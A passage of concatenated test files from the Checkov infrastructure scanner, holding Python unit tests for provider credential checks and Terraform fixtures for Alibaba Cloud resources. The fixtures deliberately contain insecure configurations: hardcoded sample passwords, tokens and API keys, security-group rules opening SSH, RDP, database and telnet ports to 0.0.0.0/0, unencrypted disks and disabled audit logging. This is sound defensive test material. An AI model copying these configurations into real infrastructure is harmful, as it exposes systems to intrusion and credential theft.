================================================ FILE: tests/terraform/checks/provider/openstack/test_credentials.py ================================================ import unittest import hcl2 from checkov.terraform.checks.provider.openstack.credentials import check from checkov.common.models.enums import CheckResult class TestCredentials(unittest.TestCase): def test_success_empty(self): hcl_res = hcl2.loads( """ provider "openstack" {} """ ) provider_conf = hcl_res["provider"][0]["openstack"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_region(self): hcl_res = hcl2.loads( """ provider "openstack" { auth_url = "http://myauthurl:5000/v2.0" region = "RegionOne" } """ ) provider_conf = hcl_res["provider"][0]["openstack"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure_password(self): hcl_res = hcl2.loads( """ provider "openstack" { auth_url = "http://myauthurl:5000/v2.0" region = "RegionOne" password = "Ahngak0fuokeexee5Quiu0oohayeiXie" } """ ) provider_conf = hcl_res["provider"][0]["openstack"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_token(self): hcl_res = hcl2.loads( """ provider "openstack" { auth_url = "http://myauthurl:5000/v2.0" region = "RegionOne" token = "ifahghau4nun7eirahJ5baa8cichex7l" } """ ) provider_conf = hcl_res["provider"][0]["openstack"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_app_secret(self): hcl_res = hcl2.loads( """ provider "openstack" { auth_url = "http://myauthurl:5000/v2.0" region = "RegionOne" application_credential_secret = "mie8siw5ooTaed0AeQuepeiGhah9xaif" } """ ) provider_conf = hcl_res["provider"][0]["openstack"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/provider/panos/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/provider/panos/resources/api_key/fail1.tf ================================================ provider "panos" { api_key = var.nested_var.base64_enc_apikey } ================================================ FILE: tests/terraform/checks/provider/panos/resources/api_key/fail2.tf ================================================ provider "panos" { api_key = "LUFRPT1yWFdyMFg5NlZxZ1ViU2ZhMTh6aGVEbDJ1UFU9ck9vc2tGcmlHV0tDbWRFa2cxcGUxSU8wMlVjaE9ReU0yYWN5SU1rL2pEOGhDcE50WEt5ABlHQWZoTm8xNG1SQQ==" } ================================================ FILE: tests/terraform/checks/provider/panos/resources/api_key/pass.tf ================================================ provider "panos" { api_key = "" } ================================================ FILE: tests/terraform/checks/provider/panos/resources/api_key/variables.tf ================================================ variable "nested_var" { default = { base64_enc_apikey = "LUFRPT1yWFdyMFg5NlZxZ1ViU2ZhMTh6aGVEbDJ1UFU9ck9vc2tGcmlHV0tDbWRFa2cxcGUxSU8wMlVjaE9ReU0yYWN5SU1rL2pEOGhDcE50WEt5ABlHQWZoTm8xNG1SQQ==" } } ================================================ FILE: tests/terraform/checks/provider/panos/test_credentials.py ================================================ import os import unittest import hcl2 from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.provider.panos.credentials import check from checkov.common.models.enums import CheckResult from checkov.terraform.runner import Runner class TestCredentials(unittest.TestCase): def test_success(self): hcl_res = hcl2.loads( """ provider "panos" {} """ ) provider_conf = hcl_res["provider"][0]["panos"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure_api(self): hcl_res = hcl2.loads( """ provider "panos" { api_key = "LUFRPT1yWFdyMFg5NlZxZ1ViU2ZhMTh6aGVEbDJ1UFU9ck9vc2tGcmlHV0tDbWRFa2cxcGUxSU8wMlVjaE9ReU0yYWN5SU1rL2pEOGhDcE50WEt5ABlHQWZoTm8xNG1SQQ==" } """ ) provider_conf = hcl_res["provider"][0]["panos"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_password(self): hcl_res = hcl2.loads( """ provider "panos" { password = "changeme123!" } """ ) provider_conf = hcl_res["provider"][0]["panos"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_api_key(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/resources/api_key" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources_files = { "/pass.tf", } failing_resources_files = { "/fail1.tf", "/fail2.tf" } passed_check_resources_files = set([c.file_path for c in report.passed_checks]) failing_check_resources_files = set([c.file_path for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources_files, passed_check_resources_files) self.assertEqual(failing_resources_files, failing_check_resources_files) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/resource/alicloud/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/resource/alicloud/example_ALBACLIsUnrestricted/main.tf ================================================ resource "alicloud_alb_acl" "fail" { acl_name="anyoldguff" } resource "alicloud_alb_acl_entry_attachment" "thehorror" { acl_id = alicloud_alb_acl.fail.id entry = "0.0.0.0/0" description = var.name } resource "alicloud_alb_acl_entry_attachment" "phew" { acl_id = alicloud_alb_acl.fail.id entry = "10.0.0.0/16" description = var.name } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_APIGatewayProtocolHTTPS/main.tf ================================================ resource "alicloud_api_gateway_api" "fail" { name = alicloud_api_gateway_group.apiGroup.name group_id = alicloud_api_gateway_group.apiGroup.id description = "your description" auth_type = "APP" force_nonce_check = false request_config { protocol = "HTTP" #this should HTTPS method = "GET" path = "/test/path1" mode = "MAPPING" } service_type = "HTTP" http_service_config { address = "http://apigateway-backend.alicloudapi.com:8080" method = "GET" path = "/web/cloudapi" timeout = 12 aone_name = "cloudapi-openapi" } } resource "alicloud_api_gateway_api" "fail2" { name = alicloud_api_gateway_group.apiGroup.name group_id = alicloud_api_gateway_group.apiGroup.id description = "your description" auth_type = "APP" force_nonce_check = false request_config { protocol = "HTTP" #this should HTTPS method = "GET" path = "/test/path1" mode = "MAPPING" } service_type = "HTTP" http_service_config { address = "http://apigateway-backend.alicloudapi.com:8080" method = "GET" path = "/web/cloudapi" timeout = 12 aone_name = "cloudapi-openapi" } request_parameters { name = "aaa" type = "STRING" required = "OPTIONAL" in = "QUERY" in_service = "QUERY" name_service = "testparams" } stage_names = [ "RELEASE", "TEST", ] } resource "alicloud_api_gateway_api" "fail3" { name = alicloud_api_gateway_group.apiGroup.name group_id = alicloud_api_gateway_group.apiGroup.id description = "your description" auth_type = "APP" force_nonce_check = false request_config { protocol = "HTTP" method = "GET" path = "/test/path1" mode = "MAPPING" } request_config { protocol = "HTTP" method = "GET" path = "/test/path2" mode = "MAPPING" } service_type = "HTTP" http_service_config { address = "http://apigateway-backend.alicloudapi.com:8080" method = "GET" path = "/web/cloudapi" timeout = 12 aone_name = "cloudapi-openapi" } request_parameters { name = "aaa" type = "STRING" required = "OPTIONAL" in = "QUERY" in_service = "QUERY" name_service = "testparams" } stage_names = [ "RELEASE", "TEST", ] } resource "alicloud_api_gateway_api" "pass" { name = alicloud_api_gateway_group.apiGroup.name group_id = alicloud_api_gateway_group.apiGroup.id description = "your description" auth_type = "APP" force_nonce_check = false request_config { protocol = "HTTPS" method = "GET" path = "/test/path1" mode = "MAPPING" } service_type = "HTTP" http_service_config { address = "https://apigateway-backend.alicloudapi.com:8080" method = "GET" path = "/web/cloudapi" timeout = 12 aone_name = "cloudapi-openapi" } request_parameters { name = "aaa" type = "STRING" required = "OPTIONAL" in = "QUERY" in_service = "QUERY" name_service = "testparams" } stage_names = [ "RELEASE", "TEST", ] } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_AbsSecurityGroupUnrestrictedIngress/main.tf ================================================ resource "alicloud_security_group_rule" "allow_all_tcp" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "1/65535" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_tcp2" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "1/65535" security_group_id = alicloud_security_group.default.id } resource "alicloud_security_group_rule" "allow_all_low" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "1/100" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_high" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "101/65535" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_dns" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "53/53" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_http" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "80/80" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_ftp" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "21/21" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_ftpdata" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "20/20" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_mssqlmonitor" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "1434/1434" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_mssql" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "1433/1433" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_mysql" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "3306/3306" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_oracledb" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "1521/1521" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_postgresql" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "5432/5432" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_rdp" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "3389/3389" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_smtp" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "25/25" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_ssh" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "22/22" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_telnet" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "23/23" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_vnclistener" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "5500/5500" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } resource "alicloud_security_group_rule" "allow_all_vncserver" { type = "ingress" ip_protocol = "tcp" nic_type = "internet" policy = "accept" port_range = "5900/5900" security_group_id = alicloud_security_group.default.id cidr_ip = "0.0.0.0/0" } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_ActionTrailLogAllEvents/main.tf ================================================ resource "alicloud_actiontrail_trail" "pass" { trail_name = "action-trail" oss_write_role_arn = "acs:ram::1182725xxxxxxxxxxx" oss_bucket_name = "bucket_name" event_rw = "All" trail_region = "All" } #default resource "alicloud_actiontrail_trail" "fail" { trail_name = "action-trail" oss_write_role_arn = "acs:ram::1182725xxxxxxxxxxx" oss_bucket_name = "bucket_name" trail_region = "All" } resource "alicloud_actiontrail_trail" "fail2" { trail_name = "action-trail" oss_write_role_arn = "acs:ram::1182725xxxxxxxxxxx" oss_bucket_name = "bucket_name" event_rw = "Read" trail_region = "All" } terraform { required_providers { alicloud = { source = "aliyun/alicloud" version = "1.162.0" } } } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_ActionTrailLogAllRegions/main.tf ================================================ resource "alicloud_actiontrail_trail" "pass" { trail_name = "action-trail" oss_write_role_arn = "acs:ram::1182725xxxxxxxxxxx" oss_bucket_name = "bucket_name" event_rw = "All" trail_region = "All" } resource "alicloud_actiontrail_trail" "pass2" { trail_name = "action-trail" oss_write_role_arn = "acs:ram::1182725xxxxxxxxxxx" oss_bucket_name = "bucket_name" event_rw = "All" } resource "alicloud_actiontrail_trail" "fail" { trail_name = "action-trail" oss_write_role_arn = "acs:ram::1182725xxxxxxxxxxx" oss_bucket_name = "bucket_name" event_rw = "All" trail_region = "cn-hangzhou" } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_DiskEncryptedWithCMK/main.tf ================================================ resource "alicloud_disk" "pass" { # cn-beijing description = "Hello ecs disk." category = "cloud_efficiency" size = "30" encrypted = true kms_key_id = "2a6767f0-a16c-4679-a60f-13bf*****" tags = { Name = "TerraformTest" } } resource "alicloud_disk" "unknown" { # cn-beijing description = "Hello ecs disk." category = "cloud_efficiency" size = "30" snapshot_id = "anyvalue" tags = { Name = "TerraformTest" } } resource "alicloud_disk" "fail" { # cn-beijing description = "Hello ecs disk." category = "cloud_efficiency" size = "30" tags = { Name = "TerraformTest" } } resource "alicloud_disk" "fail2" { # cn-beijing description = "Hello ecs disk." category = "cloud_efficiency" size = "30" encrypted = false kms_key_id = "2a6767f0-a16c-4679-a60f-13bf*****" tags = { Name = "TerraformTest" } } resource "alicloud_disk" "fail3" { # cn-beijing description = "Hello ecs disk." category = "cloud_efficiency" size = "30" encrypted = true tags = { Name = "TerraformTest" } } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_DiskIsEncrypted/main.tf ================================================ resource "alicloud_disk" "pass" { # cn-beijing description = "Hello ecs disk." category = "cloud_efficiency" size = "30" encrypted = true kms_key_id = "2a6767f0-a16c-4679-a60f-13bf*****" tags = { Name = "TerraformTest" } } resource "alicloud_disk" "unknown" { # cn-beijing description = "Hello ecs disk." category = "cloud_efficiency" size = "30" snapshot_id = "anyvalue" tags = { Name = "TerraformTest" } } resource "alicloud_disk" "fail" { # cn-beijing description = "Hello ecs disk." category = "cloud_efficiency" size = "30" tags = { Name = "TerraformTest" } } resource "alicloud_disk" "fail2" { # cn-beijing description = "Hello ecs disk." category = "cloud_efficiency" size = "30" encrypted = false kms_key_id = "2a6767f0-a16c-4679-a60f-13bf*****" tags = { Name = "TerraformTest" } } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_K8sEnableNetworkPolicies/main.tf ================================================ provider "alicloud" { } #happy path resource "alicloud_cs_kubernetes" "pass" { worker_number = 4 worker_vswitch_ids = ["vsw-id1", "vsw-id1", "vsw-id3"] master_vswitch_ids = ["vsw-id1", "vsw-id1", "vsw-id3"] master_instance_types = ["ecs.n4.small", "ecs.sn1ne.xlarge", "ecs.n4.xlarge"] worker_instance_types = ["ecs.n4.small", "ecs.sn1ne.xlarge", "ecs.n4.xlarge"] addons { config = "" name = "terway-eniip" } pod_vswitch_ids = ["vsw-id4"] } # array of addons resource "alicloud_cs_kubernetes" "pass2" { worker_number = 4 worker_vswitch_ids = ["vsw-id1", "vsw-id1", "vsw-id3"] master_vswitch_ids = ["vsw-id1", "vsw-id1", "vsw-id3"] master_instance_types = ["ecs.n4.small", "ecs.sn1ne.xlarge", "ecs.n4.xlarge"] worker_instance_types = ["ecs.n4.small", "ecs.sn1ne.xlarge", "ecs.n4.xlarge"] addons { config = "" name = "flannel" } addons { name = "csi-plugin" config = "" } pod_cidr = "10.0.1.0/16" } #no addon resource "alicloud_cs_kubernetes" "fail" { worker_number = 4 worker_vswitch_ids = ["vsw-id1", "vsw-id1", "vsw-id3"] master_vswitch_ids = ["vsw-id1", "vsw-id2", "vsw-id3"] master_instance_types = ["ecs.n4.small", "ecs.sn1ne.xlarge", "ecs.n4.xlarge"] worker_instance_types = ["ecs.n4.small", "ecs.sn1ne.xlarge", "ecs.n4.xlarge"] pod_vswitch_ids = ["vsw-id6"] } #conflict with worker_vswitch_ids resource "alicloud_cs_kubernetes" "fail2" { worker_number = 4 worker_vswitch_ids = ["vsw-id1", "vsw-id1", "vsw-id3"] master_vswitch_ids = ["vsw-id2", "vsw-id2", "vsw-id3"] master_instance_types = ["ecs.n4.small", "ecs.sn1ne.xlarge", "ecs.n4.xlarge"] worker_instance_types = ["ecs.n4.small", "ecs.sn1ne.xlarge", "ecs.n4.xlarge"] addons { config = "" name = "terway-eniip" } pod_vswitch_ids = ["vsw-id1"] } #conflict with master_vswitch_ids resource "alicloud_cs_kubernetes" "fail3" { worker_number = 4 worker_vswitch_ids = ["vsw-id1", "vsw-id1", "vsw-id3"] master_vswitch_ids = ["vsw-id1", "vsw-id2", "vsw-id3"] master_instance_types = ["ecs.n4.small", "ecs.sn1ne.xlarge", "ecs.n4.xlarge"] worker_instance_types = ["ecs.n4.small", "ecs.sn1ne.xlarge", "ecs.n4.xlarge"] addons { config = "" name = "terway-eniip" } pod_vswitch_ids = ["vsw-id2"] } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_K8sNodePoolAutoRepair/main.tf ================================================ resource "alicloud_cs_kubernetes_node_pool" "fail" { name = var.name cluster_id = alicloud_cs_managed_kubernetes.default.0.id vswitch_ids = [alicloud_vswitch.default.id] instance_types = [data.alicloud_instance_types.default.instance_types.0.id] system_disk_category = "cloud_efficiency" system_disk_size = 40 key_name = alicloud_key_pair.default.key_name # comment out node_count and specify a new field desired_size # node_count = 1 desired_size = 1 management { auto_repair = false #default auto_upgrade = false #default surge = 1 max_unavailable = 1 } } resource "alicloud_cs_kubernetes_node_pool" "fail2" { name = var.name cluster_id = alicloud_cs_managed_kubernetes.default.0.id vswitch_ids = [alicloud_vswitch.default.id] instance_types = [data.alicloud_instance_types.default.instance_types.0.id] system_disk_category = "cloud_efficiency" system_disk_size = 40 key_name = alicloud_key_pair.default.key_name # comment out node_count and specify a new field desired_size # node_count = 1 desired_size = 1 management { # auto_repair = false #default auto_upgrade = false #default surge = 1 max_unavailable = 1 } } resource "alicloud_cs_kubernetes_node_pool" "pass" { name = var.name cluster_id = alicloud_cs_managed_kubernetes.default.0.id vswitch_ids = [alicloud_vswitch.default.id] instance_types = [data.alicloud_instance_types.default.instance_types.0.id] system_disk_category = "cloud_efficiency" system_disk_size = 40 key_name = alicloud_key_pair.default.key_name # comment out node_count and specify a new field desired_size # node_count = 1 desired_size = 1 management { auto_repair = true auto_upgrade = false #default surge = 1 max_unavailable = 1 } } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_KMSKeyIsEnabled/main.tf ================================================ resource "alicloud_kms_key" "pass" { description = "Hello KMS" pending_window_in_days = "7" status = "Enabled" automatic_rotation = "Enabled" } resource "alicloud_kms_key" "fail" { description = "Hello KMS" pending_window_in_days = "7" status = "Disabled" } resource "alicloud_kms_key" "pass2" { description = "Hello KMS" pending_window_in_days = "7" } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_KMSKeyRotationIsEnabled/main.tf ================================================ resource "alicloud_kms_key" "pass" { description = "Hello KMS" pending_window_in_days = "7" status = "Enabled" automatic_rotation = "Enabled" } resource "alicloud_kms_key" "fail" { description = "Hello KMS" pending_window_in_days = "7" status = "Enabled" } resource "alicloud_kms_key" "fail2" { description = "Hello KMS" pending_window_in_days = "7" status = "Enabled" automatic_rotation = "Disabled" } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_LaunchTemplateDisksAreEncrypted/main.tf ================================================ resource "alicloud_ecs_launch_template" "fail" { launch_template_name = "tf_test_name" description = "Test For Terraform" image_id = "m-bp1i3ucxxxxx" host_name = "host_name" instance_charge_type = "PrePaid" instance_name = "instance_name" instance_type = "ecs.instance_type" internet_charge_type = "PayByBandwidth" internet_max_bandwidth_in = "5" internet_max_bandwidth_out = "0" io_optimized = "optimized" key_pair_name = "key_pair_name" ram_role_name = "ram_role_name" network_type = "vpc" security_enhancement_strategy = "Active" spot_price_limit = "5" spot_strategy = "SpotWithPriceLimit" security_group_ids = ["sg-zkdfjaxxxxxx"] system_disk { category = "cloud_ssd" description = "Test For Terraform" name = "tf_test_name" size = "40" delete_with_instance = "false" } resource_group_id = "rg-zkdfjaxxxxxx" user_data = "xxxxxxx" vswitch_id = "vw-zwxscaxxxxxx" vpc_id = "vpc-asdfnbgxxxxxxx" zone_id = "cn-hangzhou-i" template_tags = { Create = "Terraform" For = "Test" } network_interfaces { name = "eth0" description = "hello1" primary_ip = "10.0.0.2" security_group_id = "sg-asdfnbgxxxxxxx" vswitch_id = "vw-zkdfjaxxxxxx" } data_disks { name = "disk1" description = "test1" delete_with_instance = "true" category = "cloud" encrypted = "false" performance_level = "PL0" size = "20" } data_disks { name = "disk2" description = "test2" delete_with_instance = "true" category = "cloud" encrypted = "false" performance_level = "PL0" size = "20" } } resource "alicloud_ecs_launch_template" "fail2" { launch_template_name = "tf_test_name" description = "Test For Terraform" image_id = "m-bp1i3ucxxxxx" host_name = "host_name" instance_charge_type = "PrePaid" instance_name = "instance_name" instance_type = "ecs.instance_type" internet_charge_type = "PayByBandwidth" internet_max_bandwidth_in = "5" internet_max_bandwidth_out = "0" io_optimized = "optimized" key_pair_name = "key_pair_name" ram_role_name = "ram_role_name" network_type = "vpc" security_enhancement_strategy = "Active" spot_price_limit = "5" spot_strategy = "SpotWithPriceLimit" security_group_ids = ["sg-zkdfjaxxxxxx"] system_disk { category = "cloud_ssd" description = "Test For Terraform" name = "tf_test_name" size = "40" delete_with_instance = "false" } resource_group_id = "rg-zkdfjaxxxxxx" user_data = "xxxxxxx" vswitch_id = "vw-zwxscaxxxxxx" vpc_id = "vpc-asdfnbgxxxxxxx" zone_id = "cn-hangzhou-i" template_tags = { Create = "Terraform" For = "Test" } network_interfaces { name = "eth0" description = "hello1" primary_ip = "10.0.0.2" security_group_id = "sg-asdfnbgxxxxxxx" vswitch_id = "vw-zkdfjaxxxxxx" } data_disks { name = "disk1" description = "test1" delete_with_instance = "true" category = "cloud" encrypted = false performance_level = "PL0" size = "20" } } resource "alicloud_ecs_launch_template" "fail3" { launch_template_name = "tf_test_name" description = "Test For Terraform" image_id = "m-bp1i3ucxxxxx" host_name = "host_name" instance_charge_type = "PrePaid" instance_name = "instance_name" instance_type = "ecs.instance_type" internet_charge_type = "PayByBandwidth" internet_max_bandwidth_in = "5" internet_max_bandwidth_out = "0" io_optimized = "optimized" key_pair_name = "key_pair_name" ram_role_name = "ram_role_name" network_type = "vpc" security_enhancement_strategy = "Active" spot_price_limit = "5" spot_strategy = "SpotWithPriceLimit" security_group_ids = ["sg-zkdfjaxxxxxx"] system_disk { category = "cloud_ssd" description = "Test For Terraform" name = "tf_test_name" size = "40" delete_with_instance = "false" } resource_group_id = "rg-zkdfjaxxxxxx" user_data = "xxxxxxx" vswitch_id = "vw-zwxscaxxxxxx" vpc_id = "vpc-asdfnbgxxxxxxx" zone_id = "cn-hangzhou-i" template_tags = { Create = "Terraform" For = "Test" } network_interfaces { name = "eth0" description = "hello1" primary_ip = "10.0.0.2" security_group_id = "sg-asdfnbgxxxxxxx" vswitch_id = "vw-zkdfjaxxxxxx" } data_disks { name = "disk1" description = "test1" delete_with_instance = "true" category = "cloud" performance_level = "PL0" size = "20" } } resource "alicloud_ecs_launch_template" "pass" { launch_template_name = "tf_test_name" description = "Test For Terraform" image_id = "m-bp1i3ucxxxxx" host_name = "host_name" instance_charge_type = "PrePaid" instance_name = "instance_name" instance_type = "ecs.instance_type" internet_charge_type = "PayByBandwidth" internet_max_bandwidth_in = "5" internet_max_bandwidth_out = "0" io_optimized = "optimized" key_pair_name = "key_pair_name" ram_role_name = "ram_role_name" network_type = "vpc" security_enhancement_strategy = "Active" spot_price_limit = "5" spot_strategy = "SpotWithPriceLimit" security_group_ids = ["sg-zkdfjaxxxxxx"] system_disk { category = "cloud_ssd" description = "Test For Terraform" name = "tf_test_name" size = "40" delete_with_instance = "false" } resource_group_id = "rg-zkdfjaxxxxxx" user_data = "xxxxxxx" vswitch_id = "vw-zwxscaxxxxxx" vpc_id = "vpc-asdfnbgxxxxxxx" zone_id = "cn-hangzhou-i" template_tags = { Create = "Terraform" For = "Test" } network_interfaces { name = "eth0" description = "hello1" primary_ip = "10.0.0.2" security_group_id = "sg-asdfnbgxxxxxxx" vswitch_id = "vw-zkdfjaxxxxxx" } data_disks { name = "disk1" description = "test1" delete_with_instance = "true" category = "cloud" encrypted = true performance_level = "PL0" size = "20" } data_disks { name = "disk2" description = "test2" delete_with_instance = "true" category = "cloud" encrypted = true performance_level = "PL0" size = "20" } } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_LogAuditRDSEnabled/main.tf ================================================ resource "alicloud_log_audit" "fail" { display_name = "tf-audit-test" aliuid = "12345678" variable_map = { "actiontrail_enabled" = "true", "actiontrail_ttl" = "180", "actiontrail_ti_enabled" = "true", "oss_access_enabled" = "true", "oss_access_ttl" = "7", "oss_sync_enabled" = "true", "oss_sync_ttl" = "180", "oss_access_ti_enabled" = "true", "oss_metering_enabled" = "true", "oss_metering_ttl" = "180", "rds_enabled" = "false", "rds_audit_collection_policy" = "", "rds_ttl" = "180", "rds_ti_enabled" = "true", "rds_slow_enabled" = "true", "rds_slow_collection_policy" = "", "rds_slow_ttl" = "180", "rds_perf_enabled" = "true", "rds_perf_collection_policy" = "", "rds_perf_ttl" = "180", "vpc_flow_enabled" = "true", "vpc_flow_ttl" = "7", "vpc_flow_collection_policy" = "", "vpc_sync_enabled" = "true", "vpc_sync_ttl" = "180", "polardb_enabled" = "true", "polardb_audit_collection_policy" = "", "polardb_ttl" = "180", "polardb_ti_enabled" = "true", "polardb_slow_enabled" = "true", "polardb_slow_collection_policy" = "", "polardb_slow_ttl" = "180", "polardb_perf_enabled" = "true", "polardb_perf_collection_policy" = "", "polardb_perf_ttl" = "180", "drds_audit_enabled" = "true", "drds_audit_collection_policy" = "", "drds_audit_ttl" = "7", "drds_sync_enabled" = "true", "drds_sync_ttl" = "180", "drds_audit_ti_enabled" = "true", "slb_access_enabled" = "true", "slb_access_collection_policy" = "", "slb_access_ttl" = "7", "slb_sync_enabled" = "true", "slb_sync_ttl" = "180", "slb_access_ti_enabled" = "true", "bastion_enabled" = "true", "bastion_ttl" = "180", "bastion_ti_enabled" = "true", "waf_enabled" = "true", "waf_ttl" = "180", "waf_ti_enabled" = "true", "cloudfirewall_enabled" = "true", "cloudfirewall_ttl" = "180", "cloudfirewall_ti_enabled" = "true", "ddos_coo_access_enabled" = "true", "ddos_coo_access_ttl" = "180", "ddos_coo_access_ti_enabled" = "true", "ddos_bgp_access_enabled" = "true", "ddos_bgp_access_ttl" = "180", "ddos_dip_access_enabled" = "true", "ddos_dip_access_ttl" = "180", "ddos_dip_access_ti_enabled" = "true", "sas_crack_enabled" = "true", "sas_dns_enabled" = "true", "sas_http_enabled" = "true", "sas_local_dns_enabled" = "true", "sas_login_enabled" = "true", "sas_network_enabled" = "true", "sas_process_enabled" = "true", "sas_security_alert_enabled" = "true", "sas_security_hc_enabled" = "true", "sas_security_vul_enabled" = "true", "sas_session_enabled" = "true", "sas_snapshot_account_enabled" = "true", "sas_snapshot_port_enabled" = "true", "sas_snapshot_process_enabled" = "true", "sas_ttl" = "180", "sas_ti_enabled" = "true", "apigateway_enabled" = "true", "apigateway_ttl" = "180", "apigateway_ti_enabled" = "true", "nas_enabled" = "true", "nas_ttl" = "180", "nas_ti_enabled" = "true", "appconnect_enabled" = "true", "appconnect_ttl" = "180", "cps_enabled" = "true", "cps_ttl" = "180", "cps_ti_enabled" = "true", "k8s_audit_enabled" = "true", "k8s_audit_collection_policy" = "", "k8s_audit_ttl" = "180", "k8s_event_enabled" = "true", "k8s_event_collection_policy" = "", "k8s_event_ttl" = "180", "k8s_ingress_enabled" = "true", "k8s_ingress_collection_policy" = "", "k8s_ingress_ttl" = "180" } } resource "alicloud_log_audit" "fail2" { display_name = "tf-audit-test" aliuid = "12345678" variable_map = { "actiontrail_enabled" = "true", "actiontrail_ttl" = "180", "actiontrail_ti_enabled" = "true", "oss_access_enabled" = "true", "oss_access_ttl" = "7", "oss_sync_enabled" = "true", "oss_sync_ttl" = "180", "oss_access_ti_enabled" = "true", "oss_metering_enabled" = "true", "oss_metering_ttl" = "180", "rds_enabled" = "", "rds_audit_collection_policy" = "", "rds_ttl" = "180", "rds_ti_enabled" = "true", "rds_slow_enabled" = "true", "rds_slow_collection_policy" = "", "rds_slow_ttl" = "180", "rds_perf_enabled" = "true", "rds_perf_collection_policy" = "", "rds_perf_ttl" = "180", "vpc_flow_enabled" = "true", "vpc_flow_ttl" = "7", "vpc_flow_collection_policy" = "", "vpc_sync_enabled" = "true", "vpc_sync_ttl" = "180", "polardb_enabled" = "true", "polardb_audit_collection_policy" = "", "polardb_ttl" = "180", "polardb_ti_enabled" = "true", "polardb_slow_enabled" = "true", "polardb_slow_collection_policy" = "", "polardb_slow_ttl" = "180", "polardb_perf_enabled" = "true", 